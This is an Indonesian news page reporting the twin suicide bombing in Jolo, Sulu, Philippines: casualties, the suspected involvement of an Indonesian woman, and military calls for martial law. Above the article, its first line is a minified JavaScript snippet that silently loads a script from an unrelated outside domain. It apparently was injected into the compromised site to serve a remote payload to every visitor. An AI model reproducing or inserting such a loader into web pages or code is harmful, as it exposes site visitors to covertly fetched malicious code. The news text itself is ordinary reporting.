(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: INTERNASIONAL

Pelaku Bom Bunuh Diri di Filipina Dua Wanita, Salah Satunya Diduga WNI


KANALKALIMANTAN.COM, JAKARTA– Seorang WNI diduga menjadi bagian pelaku bom bunuh diri di Jolo, Provinsi Sulu, Filipina. Diketahui, Komandan Militer Filipina menyebut pelaku merupakan dua orang wanita, salah satunya WNI.

Melansir dari kantor berita Philippine News Agency (PNA), Komandan Angkatan Darat Filipina (PA), Letjen Cirilito Sobejana mengungkap dua wanita pelaku bom bunuh diri yang bertanggung jawab atas serangan kemungkinan besar dimotivasi oleh pemimpin Abu Sayyaf Mundi Sawadjaan.

Kepada CNNIndonesia.com, Juru Bicara Kementerian Luar Negeri Indonesia, Teuku Faizasyah mengaku belum dapat informasi terkait WNI tersebut. “Hingga saat ini tidak ada informasi yang dapat mengonfirmasi atas hal yang ditanyakan,” ujarnya.

Militer Filipina saat ini sedang mempertimbangkan agar Provinsi Sulu ditempatkan di bawah Hukum Darurat Militer menyusul kejadian pengeboman tersebut.

“Saya pikir bijaksana (bagi pemerintah) untuk mengumumkan (Darurat Militer) lagi,” tutur Sobejana, Selasa (25/8).

Alasan darurat militer itu harus diberlakukan kata Soebajana untuk mengontrol penyerangan yang mungkin masih terjadi dan mengendalikan pergerakan kegiatan terorisme. Terkait durasi pelaksanaannya Soebajana bilang akan disesuaikan dengan situasi.

“Situasi menentukan (berapa lama) penegakan atau pelaksanaan Darurat Militer,” katanya. Sebelumnya dua ledakan terjadi pada Senin (24/8) di Jolo, Filipina. Pulau ini terkenal sebagai tempat kombatan teroris Abu Sayyaf.

Ledakan tersebut menewaskan sedikitnya 11 orang dan sekitar 40 lainnya luka-luka. Sedikitnya lima dari korban tewas dan 18 luka-luka merupakan tentara dan polisi. Sementara 22 orang yang terluka merupakan warga sipil.

Ledakan pertama terjadi di depan Paradise Food Plaza di sebuah desa bernama Walled City di pusat kota Jolo, sementara ledakan kedua dekat Katedral Our Lady of Mount Carmel. (cnnidnonesia)

Reporter : Cnnindonesia
Editor : Cnnindonesia


Desy Arfianty

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

4 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

5 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

7 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

8 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

8 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

9 jam ago

This website uses cookies.